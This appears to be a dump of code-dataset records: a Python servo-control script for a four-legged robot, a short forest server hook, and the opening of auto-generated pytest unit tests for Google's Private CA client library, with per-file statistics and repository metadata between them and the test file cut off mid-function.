from adafruit_servokit import ServoKit import time kit = ServoKit(channels=16) class Quadruped(): def homePos(self): kit.servo[4].angle = 40 #FL HIP kit.servo[5].angle = 110 #FL FOOT kit.servo[6].angle = 130 #FR HIP kit.servo[7].angle = 70 #FR FOOT kit.servo[8].angle = 130 #BL HIP kit.servo[9].angle = 70 #BL FOOT kit.servo[10].angle = 40 #BR HIP kit.servo[11].angle = 110 #BR FOOT print('switching to home position') def walkForward(self): kit.servo[7].angle = 50 kit.servo[9].angle = 50 time.sleep(0.2) kit.servo[6].angle = 150 kit.servo[8].angle = 110 kit.servo[4].angle = 60 kit.servo[10].angle = 20 time.sleep(0.2) kit.servo[7].angle = 70 kit.servo[9].angle = 70 time.sleep(0.2) kit.servo[5].angle = 130 kit.servo[11].angle = 130 time.sleep(0.2) kit.servo[6].angle = 110 kit.servo[8].angle = 150 kit.servo[4].angle = 20 kit.servo[10].angle = 60 time.sleep(0.2) kit.servo[5].angle = 110 kit.servo[11].angle = 110 time.sleep(0.2) print('Walking Forward') def turnLeft(self): kit.servo[5].angle = 130 kit.servo[11].angle = 130 time.sleep(0.2) kit.servo[4].angle = 10 kit.servo[10].angle = 10 time.sleep(0.2) kit.servo[5].angle = 110 kit.servo[11].angle = 110 time.sleep(0.2) kit.servo[4].angle = 40 kit.servo[10].angle = 40 time.sleep(0.2) kit.servo[7].angle = 50 kit.servo[9].angle = 50 time.sleep(0.2) kit.servo[6].angle = 80 kit.servo[8].angle = 80 time.sleep(0.2) kit.servo[7].angle = 70 kit.servo[9].angle = 70 time.sleep(0.2) kit.servo[6].angle = 130 kit.servo[8].angle = 130 time.sleep(0.2) print('turning left') def turnRight(self): kit.servo[5].angle = 130 kit.servo[11].angle = 130 time.sleep(0.2) kit.servo[4].angle = 140 kit.servo[10].angle = 140 time.sleep(0.2) kit.servo[5].angle = 110 kit.servo[11].angle = 110 time.sleep(0.2) kit.servo[4].angle = 40 kit.servo[10].angle = 40 time.sleep(0.2) kit.servo[7].angle = 50 kit.servo[9].angle = 50 time.sleep(0.2) kit.servo[6].angle = 180 kit.servo[8].angle = 180 time.sleep(0.2) kit.servo[7].angle = 70 kit.servo[9].angle = 70 time.sleep(0.2) kit.servo[6].angle = 130 kit.servo[8].angle = 130 time.sleep(0.2) print('turning right') def bow(self): kit.servo[5].angle = 140 kit.servo[7].angle = 15 kit.servo[9].angle = 130 kit.servo[11].angle = 30 time.sleep(0.2) print('bowing') def bendBack(self): kit.servo[5].angle = 30 kit.servo[7].angle = 130 kit.servo[9].angle = 15 kit.servo[11].angle = 140 time.sleep(0.2) print('bending back') def pushUp(self): kit.servo[4].angle = 130 kit.servo[5].angle = 70 kit.servo[6].angle = 60 kit.servo[7].angle = 130 kit.servo[8].angle = 170 kit.servo[9].angle = 50 kit.servo[10].angle = 10 kit.servo[11].angle = 130 time.sleep(1) for i in range(5): for k in range(80): kit.servo[5].angle = 70 + k kit.servo[7].angle = 130 - k time.sleep(0.001) for k in range(80): kit.servo[5].angle = 110 - k kit.servo[7].angle = 90 + k time.sleep(0.001) print('Finished 5 push ups') def jumpUp(self): kit.servo[4].angle = 10 #FL HIP kit.servo[5].angle = 20 #FL FOOT kit.servo[6].angle = 170 #FR HIP kit.servo[7].angle = 120 #FR FOOT kit.servo[8].angle = 0 #BL HIP kit.servo[9].angle = 70 #BL FOOT kit.servo[10].angle = 160 #BR HIP kit.servo[11].angle = 110 #BR FOOT time.sleep(3) kit.servo[9].angle = 140 #BL FOOT kit.servo[11].angle = 40 #BR FOOT # time.sleep(0.01) # kit.servo[8].angle = 180 #BL FOOT # kit.servo[10].angle = 0 #BR HIP time.sleep(0.5) # kit.servo[4].angle = 40 #FL HIP # kit.servo[5].angle = 110 #FL FOOT # kit.servo[6].angle = 130 #FR HIP # kit.servo[7].angle = 70 #FR FOOT # kit.servo[8].angle = 130 #BL HIP # kit.servo[9].angle = 70 #BL FOOT # kit.servo[10].angle = 40 #BR HIP # kit.servo[11].angle = 110 #BR FOOT # time.sleep(2) # # kit.servo[5].angle = 180 #FL FOOT # kit.servo[7].angle = 0 #FR FOOT # kit.servo[9].angle = 0 #BL FOOT # kit.servo[11].angle = 180 #BR FOOT def jumpBack(self): kit.servo[4].angle = 10 #FL HIP kit.servo[5].angle = 20 #FL FOOT kit.servo[6].angle = 170 #FR HIP kit.servo[7].angle = 120 #FR FOOT kit.servo[8].angle = 0 #BL HIP kit.servo[9].angle = 70 #BL FOOT kit.servo[10].angle = 160 #BR HIP kit.servo[11].angle = 110 #BR FOOT time.sleep(3) kit.servo[9].angle = 140 #BL FOOT kit.servo[11].angle = 40 #BR FOOT # time.sleep(0.01) # kit.servo[8].angle = 180 #BL FOOT # kit.servo[10].angle = 0 #BR HIP time.sleep(1.5) kit.servo[4].angle = 40 #FL HIP kit.servo[5].angle = 110 #FL FOOT kit.servo[6].angle = 130 #FR HIP kit.servo[7].angle = 70 #FR FOOT kit.servo[8].angle = 130 #BL HIP kit.servo[9].angle = 70 #BL FOOT kit.servo[10].angle = 40 #BR HIP kit.servo[11].angle = 110 #BR FOOT # time.sleep(2) # # kit.servo[5].angle = 180 #FL FOOT # kit.servo[7].angle = 0 #FR FOOT # kit.servo[9].angle = 0 #BL FOOT # kit.servo[11].angle = 180 #BR FOOT

25.034615

47

0.483792

950

6,509

3.313684

0.086316

0.315121

0.092122

0.083863

0.843075

0.768424

0.750635

0.726175

0.724269

0.707116

0

0.132233

0.376095

6,509

259

48

25.131274

0.642945

0.187126

0

0.664557

0

0.019777

0

1

0.056962

false

0

0.012658

0

0.075949

0.044304

0

null

1

0

1

0

null

0

7

db4dd4f1be8d82115943e22a954f082a3b15dd9c

95

py

Python

forest/server_lifecycle.py

ramsdalesteve/forest

12cac1b3dd93c4475a8a4f696c522576b44f16eb

[ "BSD-3-Clause" ]

null

forest/server_lifecycle.py

ramsdalesteve/forest

12cac1b3dd93c4475a8a4f696c522576b44f16eb

[ "BSD-3-Clause" ]

null

forest/server_lifecycle.py

ramsdalesteve/forest

12cac1b3dd93c4475a8a4f696c522576b44f16eb

[ "BSD-3-Clause" ]

null

import forest.data as data def on_server_loaded(server_context): data.on_server_loaded()

15.833333

37

0.789474

15

95

4.666667

0.6

0.228571

0.4

0

0.136842

95

5

38

19

0.853659

0

1

0.333333

false

0

0.333333

0

0.666667

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

db71ad6f0a34a137686dc92c3d5da109c84e2eed

350,389

py

Python

tests/unit/gapic/privateca_v1/test_certificate_authority_service.py

LaudateCorpus1/python-security-private-ca

672e9b0a8c0923afbd9e6e04ca8a4c2b0232a843

[ "Apache-2.0" ]

null

tests/unit/gapic/privateca_v1/test_certificate_authority_service.py

LaudateCorpus1/python-security-private-ca

672e9b0a8c0923afbd9e6e04ca8a4c2b0232a843

[ "Apache-2.0" ]

null

tests/unit/gapic/privateca_v1/test_certificate_authority_service.py

LaudateCorpus1/python-security-private-ca

672e9b0a8c0923afbd9e6e04ca8a4c2b0232a843

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import os import mock import grpc from grpc.experimental import aio import math import pytest from proto.marshal.rules.dates import DurationRule, TimestampRule from google.api_core import client_options from google.api_core import exceptions as core_exceptions from google.api_core import future from google.api_core import gapic_v1 from google.api_core import grpc_helpers from google.api_core import grpc_helpers_async from google.api_core import operation_async # type: ignore from google.api_core import operations_v1 from google.api_core import path_template from google.auth import credentials as ga_credentials from google.auth.exceptions import MutualTLSChannelError from google.cloud.security.privateca_v1.services.certificate_authority_service import ( CertificateAuthorityServiceAsyncClient, ) from google.cloud.security.privateca_v1.services.certificate_authority_service import ( CertificateAuthorityServiceClient, ) from google.cloud.security.privateca_v1.services.certificate_authority_service import ( pagers, ) from google.cloud.security.privateca_v1.services.certificate_authority_service import ( transports, ) from google.cloud.security.privateca_v1.types import resources from google.cloud.security.privateca_v1.types import service from google.longrunning import operations_pb2 from google.oauth2 import service_account from google.protobuf import duration_pb2 # type: ignore from google.protobuf import field_mask_pb2 # type: ignore from google.protobuf import timestamp_pb2 # type: ignore from google.type import expr_pb2 # type: ignore import google.auth def client_cert_source_callback(): return b"cert bytes", b"key bytes" # If default endpoint is localhost, then default mtls endpoint will be the same. # This method modifies the default endpoint so the client can produce a different # mtls endpoint for endpoint testing purposes. def modify_default_endpoint(client): return ( "foo.googleapis.com" if ("localhost" in client.DEFAULT_ENDPOINT) else client.DEFAULT_ENDPOINT ) def test__get_default_mtls_endpoint(): api_endpoint = "example.googleapis.com" api_mtls_endpoint = "example.mtls.googleapis.com" sandbox_endpoint = "example.sandbox.googleapis.com" sandbox_mtls_endpoint = "example.mtls.sandbox.googleapis.com" non_googleapi = "api.example.com" assert CertificateAuthorityServiceClient._get_default_mtls_endpoint(None) is None assert ( CertificateAuthorityServiceClient._get_default_mtls_endpoint(api_endpoint) == api_mtls_endpoint ) assert ( CertificateAuthorityServiceClient._get_default_mtls_endpoint(api_mtls_endpoint) == api_mtls_endpoint ) assert ( CertificateAuthorityServiceClient._get_default_mtls_endpoint(sandbox_endpoint) == sandbox_mtls_endpoint ) assert ( CertificateAuthorityServiceClient._get_default_mtls_endpoint( sandbox_mtls_endpoint ) == sandbox_mtls_endpoint ) assert ( CertificateAuthorityServiceClient._get_default_mtls_endpoint(non_googleapi) == non_googleapi ) @pytest.mark.parametrize( "client_class", [CertificateAuthorityServiceClient, CertificateAuthorityServiceAsyncClient,], ) def test_certificate_authority_service_client_from_service_account_info(client_class): creds = ga_credentials.AnonymousCredentials() with mock.patch.object( service_account.Credentials, "from_service_account_info" ) as factory: factory.return_value = creds info = {"valid": True} client = client_class.from_service_account_info(info) assert client.transport._credentials == creds assert isinstance(client, client_class) assert client.transport._host == "privateca.googleapis.com:443" @pytest.mark.parametrize( "transport_class,transport_name", [ (transports.CertificateAuthorityServiceGrpcTransport, "grpc"), (transports.CertificateAuthorityServiceGrpcAsyncIOTransport, "grpc_asyncio"), ], ) def test_certificate_authority_service_client_service_account_always_use_jwt( transport_class, transport_name ): with mock.patch.object( service_account.Credentials, "with_always_use_jwt_access", create=True ) as use_jwt: creds = service_account.Credentials(None, None, None) transport = transport_class(credentials=creds, always_use_jwt_access=True) use_jwt.assert_called_once_with(True) with mock.patch.object( service_account.Credentials, "with_always_use_jwt_access", create=True ) as use_jwt: creds = service_account.Credentials(None, None, None) transport = transport_class(credentials=creds, always_use_jwt_access=False) use_jwt.assert_not_called() @pytest.mark.parametrize( "client_class", [CertificateAuthorityServiceClient, CertificateAuthorityServiceAsyncClient,], ) def test_certificate_authority_service_client_from_service_account_file(client_class): creds = ga_credentials.AnonymousCredentials() with mock.patch.object( service_account.Credentials, "from_service_account_file" ) as factory: factory.return_value = creds client = client_class.from_service_account_file("dummy/file/path.json") assert client.transport._credentials == creds assert isinstance(client, client_class) client = client_class.from_service_account_json("dummy/file/path.json") assert client.transport._credentials == creds assert isinstance(client, client_class) assert client.transport._host == "privateca.googleapis.com:443" def test_certificate_authority_service_client_get_transport_class(): transport = CertificateAuthorityServiceClient.get_transport_class() available_transports = [ transports.CertificateAuthorityServiceGrpcTransport, ] assert transport in available_transports transport = CertificateAuthorityServiceClient.get_transport_class("grpc") assert transport == transports.CertificateAuthorityServiceGrpcTransport @pytest.mark.parametrize( "client_class,transport_class,transport_name", [ ( CertificateAuthorityServiceClient, transports.CertificateAuthorityServiceGrpcTransport, "grpc", ), ( CertificateAuthorityServiceAsyncClient, transports.CertificateAuthorityServiceGrpcAsyncIOTransport, "grpc_asyncio", ), ], ) @mock.patch.object( CertificateAuthorityServiceClient, "DEFAULT_ENDPOINT", modify_default_endpoint(CertificateAuthorityServiceClient), ) @mock.patch.object( CertificateAuthorityServiceAsyncClient, "DEFAULT_ENDPOINT", modify_default_endpoint(CertificateAuthorityServiceAsyncClient), ) def test_certificate_authority_service_client_client_options( client_class, transport_class, transport_name ): # Check that if channel is provided we won't create a new one. with mock.patch.object( CertificateAuthorityServiceClient, "get_transport_class" ) as gtc: transport = transport_class(credentials=ga_credentials.AnonymousCredentials()) client = client_class(transport=transport) gtc.assert_not_called() # Check that if channel is provided via str we will create a new one. with mock.patch.object( CertificateAuthorityServiceClient, "get_transport_class" ) as gtc: client = client_class(transport=transport_name) gtc.assert_called() # Check the case api_endpoint is provided. options = client_options.ClientOptions(api_endpoint="squid.clam.whelk") with mock.patch.object(transport_class, "__init__") as patched: patched.return_value = None client = client_class(transport=transport_name, client_options=options) patched.assert_called_once_with( credentials=None, credentials_file=None, host="squid.clam.whelk", scopes=None, client_cert_source_for_mtls=None, quota_project_id=None, client_info=transports.base.DEFAULT_CLIENT_INFO, always_use_jwt_access=True, ) # Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS_ENDPOINT is # "never". with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "never"}): with mock.patch.object(transport_class, "__init__") as patched: patched.return_value = None client = client_class(transport=transport_name) patched.assert_called_once_with( credentials=None, credentials_file=None, host=client.DEFAULT_ENDPOINT, scopes=None, client_cert_source_for_mtls=None, quota_project_id=None, client_info=transports.base.DEFAULT_CLIENT_INFO, always_use_jwt_access=True, ) # Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS_ENDPOINT is # "always". with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "always"}): with mock.patch.object(transport_class, "__init__") as patched: patched.return_value = None client = client_class(transport=transport_name) patched.assert_called_once_with( credentials=None, credentials_file=None, host=client.DEFAULT_MTLS_ENDPOINT, scopes=None, client_cert_source_for_mtls=None, quota_project_id=None, client_info=transports.base.DEFAULT_CLIENT_INFO, always_use_jwt_access=True, ) # Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS_ENDPOINT has # unsupported value. with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "Unsupported"}): with pytest.raises(MutualTLSChannelError): client = client_class(transport=transport_name) # Check the case GOOGLE_API_USE_CLIENT_CERTIFICATE has unsupported value. with mock.patch.dict( os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": "Unsupported"} ): with pytest.raises(ValueError): client = client_class(transport=transport_name) # Check the case quota_project_id is provided options = client_options.ClientOptions(quota_project_id="octopus") with mock.patch.object(transport_class, "__init__") as patched: patched.return_value = None client = client_class(client_options=options, transport=transport_name) patched.assert_called_once_with( credentials=None, credentials_file=None, host=client.DEFAULT_ENDPOINT, scopes=None, client_cert_source_for_mtls=None, quota_project_id="octopus", client_info=transports.base.DEFAULT_CLIENT_INFO, always_use_jwt_access=True, ) @pytest.mark.parametrize( "client_class,transport_class,transport_name,use_client_cert_env", [ ( CertificateAuthorityServiceClient, transports.CertificateAuthorityServiceGrpcTransport, "grpc", "true", ), ( CertificateAuthorityServiceAsyncClient, transports.CertificateAuthorityServiceGrpcAsyncIOTransport, "grpc_asyncio", "true", ), ( CertificateAuthorityServiceClient, transports.CertificateAuthorityServiceGrpcTransport, "grpc", "false", ), ( CertificateAuthorityServiceAsyncClient, transports.CertificateAuthorityServiceGrpcAsyncIOTransport, "grpc_asyncio", "false", ), ], ) @mock.patch.object( CertificateAuthorityServiceClient, "DEFAULT_ENDPOINT", modify_default_endpoint(CertificateAuthorityServiceClient), ) @mock.patch.object( CertificateAuthorityServiceAsyncClient, "DEFAULT_ENDPOINT", modify_default_endpoint(CertificateAuthorityServiceAsyncClient), ) @mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "auto"}) def test_certificate_authority_service_client_mtls_env_auto( client_class, transport_class, transport_name, use_client_cert_env ): # This tests the endpoint autoswitch behavior. Endpoint is autoswitched to the default # mtls endpoint, if GOOGLE_API_USE_CLIENT_CERTIFICATE is "true" and client cert exists. # Check the case client_cert_source is provided. Whether client cert is used depends on # GOOGLE_API_USE_CLIENT_CERTIFICATE value. with mock.patch.dict( os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": use_client_cert_env} ): options = client_options.ClientOptions( client_cert_source=client_cert_source_callback ) with mock.patch.object(transport_class, "__init__") as patched: patched.return_value = None client = client_class(client_options=options, transport=transport_name) if use_client_cert_env == "false": expected_client_cert_source = None expected_host = client.DEFAULT_ENDPOINT else: expected_client_cert_source = client_cert_source_callback expected_host = client.DEFAULT_MTLS_ENDPOINT patched.assert_called_once_with( credentials=None, credentials_file=None, host=expected_host, scopes=None, client_cert_source_for_mtls=expected_client_cert_source, quota_project_id=None, client_info=transports.base.DEFAULT_CLIENT_INFO, always_use_jwt_access=True, ) # Check the case ADC client cert is provided. Whether client cert is used depends on # GOOGLE_API_USE_CLIENT_CERTIFICATE value. with mock.patch.dict( os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": use_client_cert_env} ): with mock.patch.object(transport_class, "__init__") as patched: with mock.patch( "google.auth.transport.mtls.has_default_client_cert_source", return_value=True, ): with mock.patch( "google.auth.transport.mtls.default_client_cert_source", return_value=client_cert_source_callback, ): if use_client_cert_env == "false": expected_host = client.DEFAULT_ENDPOINT expected_client_cert_source = None else: expected_host = client.DEFAULT_MTLS_ENDPOINT expected_client_cert_source = client_cert_source_callback patched.return_value = None client = client_class(transport=transport_name) patched.assert_called_once_with( credentials=None, credentials_file=None, host=expected_host, scopes=None, client_cert_source_for_mtls=expected_client_cert_source, quota_project_id=None, client_info=transports.base.DEFAULT_CLIENT_INFO, always_use_jwt_access=True, ) # Check the case client_cert_source and ADC client cert are not provided. with mock.patch.dict( os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": use_client_cert_env} ): with mock.patch.object(transport_class, "__init__") as patched: with mock.patch( "google.auth.transport.mtls.has_default_client_cert_source", return_value=False, ): patched.return_value = None client = client_class(transport=transport_name) patched.assert_called_once_with( credentials=None, credentials_file=None, host=client.DEFAULT_ENDPOINT, scopes=None, client_cert_source_for_mtls=None, quota_project_id=None, client_info=transports.base.DEFAULT_CLIENT_INFO, always_use_jwt_access=True, ) @pytest.mark.parametrize( "client_class", [CertificateAuthorityServiceClient, CertificateAuthorityServiceAsyncClient], ) @mock.patch.object( CertificateAuthorityServiceClient, "DEFAULT_ENDPOINT", modify_default_endpoint(CertificateAuthorityServiceClient), ) @mock.patch.object( CertificateAuthorityServiceAsyncClient, "DEFAULT_ENDPOINT", modify_default_endpoint(CertificateAuthorityServiceAsyncClient), ) def test_certificate_authority_service_client_get_mtls_endpoint_and_cert_source( client_class, ): mock_client_cert_source = mock.Mock() # Test the case GOOGLE_API_USE_CLIENT_CERTIFICATE is "true". with mock.patch.dict(os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": "true"}): mock_api_endpoint = "foo" options = client_options.ClientOptions( client_cert_source=mock_client_cert_source, api_endpoint=mock_api_endpoint ) api_endpoint, cert_source = client_class.get_mtls_endpoint_and_cert_source( options ) assert api_endpoint == mock_api_endpoint assert cert_source == mock_client_cert_source # Test the case GOOGLE_API_USE_CLIENT_CERTIFICATE is "false". with mock.patch.dict(os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": "false"}): mock_client_cert_source = mock.Mock() mock_api_endpoint = "foo" options = client_options.ClientOptions( client_cert_source=mock_client_cert_source, api_endpoint=mock_api_endpoint ) api_endpoint, cert_source = client_class.get_mtls_endpoint_and_cert_source( options ) assert api_endpoint == mock_api_endpoint assert cert_source is None # Test the case GOOGLE_API_USE_MTLS_ENDPOINT is "never". with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "never"}): api_endpoint, cert_source = client_class.get_mtls_endpoint_and_cert_source() assert api_endpoint == client_class.DEFAULT_ENDPOINT assert cert_source is None # Test the case GOOGLE_API_USE_MTLS_ENDPOINT is "always". with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "always"}): api_endpoint, cert_source = client_class.get_mtls_endpoint_and_cert_source() assert api_endpoint == client_class.DEFAULT_MTLS_ENDPOINT assert cert_source is None # Test the case GOOGLE_API_USE_MTLS_ENDPOINT is "auto" and default cert doesn't exist. with mock.patch.dict(os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": "true"}): with mock.patch( "google.auth.transport.mtls.has_default_client_cert_source", return_value=False, ): api_endpoint, cert_source = client_class.get_mtls_endpoint_and_cert_source() assert api_endpoint == client_class.DEFAULT_ENDPOINT assert cert_source is None # Test the case GOOGLE_API_USE_MTLS_ENDPOINT is "auto" and default cert exists. with mock.patch.dict(os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": "true"}): with mock.patch( "google.auth.transport.mtls.has_default_client_cert_source", return_value=True, ): with mock.patch( "google.auth.transport.mtls.default_client_cert_source", return_value=mock_client_cert_source, ): ( api_endpoint, cert_source, ) = client_class.get_mtls_endpoint_and_cert_source() assert api_endpoint == client_class.DEFAULT_MTLS_ENDPOINT assert cert_source == mock_client_cert_source @pytest.mark.parametrize( "client_class,transport_class,transport_name", [ ( CertificateAuthorityServiceClient, transports.CertificateAuthorityServiceGrpcTransport, "grpc", ), ( CertificateAuthorityServiceAsyncClient, transports.CertificateAuthorityServiceGrpcAsyncIOTransport, "grpc_asyncio", ), ], ) def test_certificate_authority_service_client_client_options_scopes( client_class, transport_class, transport_name ): # Check the case scopes are provided. options = client_options.ClientOptions(scopes=["1", "2"],) with mock.patch.object(transport_class, "__init__") as patched: patched.return_value = None client = client_class(client_options=options, transport=transport_name) patched.assert_called_once_with( credentials=None, credentials_file=None, host=client.DEFAULT_ENDPOINT, scopes=["1", "2"], client_cert_source_for_mtls=None, quota_project_id=None, client_info=transports.base.DEFAULT_CLIENT_INFO, always_use_jwt_access=True, ) @pytest.mark.parametrize( "client_class,transport_class,transport_name", [ ( CertificateAuthorityServiceClient, transports.CertificateAuthorityServiceGrpcTransport, "grpc", ), ( CertificateAuthorityServiceAsyncClient, transports.CertificateAuthorityServiceGrpcAsyncIOTransport, "grpc_asyncio", ), ], ) def test_certificate_authority_service_client_client_options_credentials_file( client_class, transport_class, transport_name ): # Check the case credentials file is provided. options = client_options.ClientOptions(credentials_file="credentials.json") with mock.patch.object(transport_class, "__init__") as patched: patched.return_value = None client = client_class(client_options=options, transport=transport_name) patched.assert_called_once_with( credentials=None, credentials_file="credentials.json", host=client.DEFAULT_ENDPOINT, scopes=None, client_cert_source_for_mtls=None, quota_project_id=None, client_info=transports.base.DEFAULT_CLIENT_INFO, always_use_jwt_access=True, ) def test_certificate_authority_service_client_client_options_from_dict(): with mock.patch( "google.cloud.security.privateca_v1.services.certificate_authority_service.transports.CertificateAuthorityServiceGrpcTransport.__init__" ) as grpc_transport: grpc_transport.return_value = None client = CertificateAuthorityServiceClient( client_options={"api_endpoint": "squid.clam.whelk"} ) grpc_transport.assert_called_once_with( credentials=None, credentials_file=None, host="squid.clam.whelk", scopes=None, client_cert_source_for_mtls=None, quota_project_id=None, client_info=transports.base.DEFAULT_CLIENT_INFO, always_use_jwt_access=True, ) @pytest.mark.parametrize("request_type", [service.CreateCertificateRequest, dict,]) def test_create_certificate(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.create_certificate), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = resources.Certificate( name="name_value", issuer_certificate_authority="issuer_certificate_authority_value", certificate_template="certificate_template_value", subject_mode=resources.SubjectRequestMode.DEFAULT, pem_certificate="pem_certificate_value", pem_certificate_chain=["pem_certificate_chain_value"], pem_csr="pem_csr_value", ) response = client.create_certificate(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.CreateCertificateRequest() # Establish that the response is the type that we expect. assert isinstance(response, resources.Certificate) assert response.name == "name_value" assert response.issuer_certificate_authority == "issuer_certificate_authority_value" assert response.certificate_template == "certificate_template_value" assert response.subject_mode == resources.SubjectRequestMode.DEFAULT assert response.pem_certificate == "pem_certificate_value" assert response.pem_certificate_chain == ["pem_certificate_chain_value"] def test_create_certificate_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.create_certificate), "__call__" ) as call: client.create_certificate() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.CreateCertificateRequest() @pytest.mark.asyncio async def test_create_certificate_async( transport: str = "grpc_asyncio", request_type=service.CreateCertificateRequest ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.create_certificate), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( resources.Certificate( name="name_value", issuer_certificate_authority="issuer_certificate_authority_value", certificate_template="certificate_template_value", subject_mode=resources.SubjectRequestMode.DEFAULT, pem_certificate="pem_certificate_value", pem_certificate_chain=["pem_certificate_chain_value"], ) ) response = await client.create_certificate(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.CreateCertificateRequest() # Establish that the response is the type that we expect. assert isinstance(response, resources.Certificate) assert response.name == "name_value" assert response.issuer_certificate_authority == "issuer_certificate_authority_value" assert response.certificate_template == "certificate_template_value" assert response.subject_mode == resources.SubjectRequestMode.DEFAULT assert response.pem_certificate == "pem_certificate_value" assert response.pem_certificate_chain == ["pem_certificate_chain_value"] @pytest.mark.asyncio async def test_create_certificate_async_from_dict(): await test_create_certificate_async(request_type=dict) def test_create_certificate_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.CreateCertificateRequest() request.parent = "parent/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.create_certificate), "__call__" ) as call: call.return_value = resources.Certificate() client.create_certificate(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"] @pytest.mark.asyncio async def test_create_certificate_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.CreateCertificateRequest() request.parent = "parent/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.create_certificate), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( resources.Certificate() ) await client.create_certificate(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"] def test_create_certificate_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.create_certificate), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = resources.Certificate() # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.create_certificate( parent="parent_value", certificate=resources.Certificate(name="name_value"), certificate_id="certificate_id_value", ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].parent mock_val = "parent_value" assert arg == mock_val arg = args[0].certificate mock_val = resources.Certificate(name="name_value") assert arg == mock_val arg = args[0].certificate_id mock_val = "certificate_id_value" assert arg == mock_val def test_create_certificate_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.create_certificate( service.CreateCertificateRequest(), parent="parent_value", certificate=resources.Certificate(name="name_value"), certificate_id="certificate_id_value", ) @pytest.mark.asyncio async def test_create_certificate_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.create_certificate), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = resources.Certificate() call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( resources.Certificate() ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.create_certificate( parent="parent_value", certificate=resources.Certificate(name="name_value"), certificate_id="certificate_id_value", ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].parent mock_val = "parent_value" assert arg == mock_val arg = args[0].certificate mock_val = resources.Certificate(name="name_value") assert arg == mock_val arg = args[0].certificate_id mock_val = "certificate_id_value" assert arg == mock_val @pytest.mark.asyncio async def test_create_certificate_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( 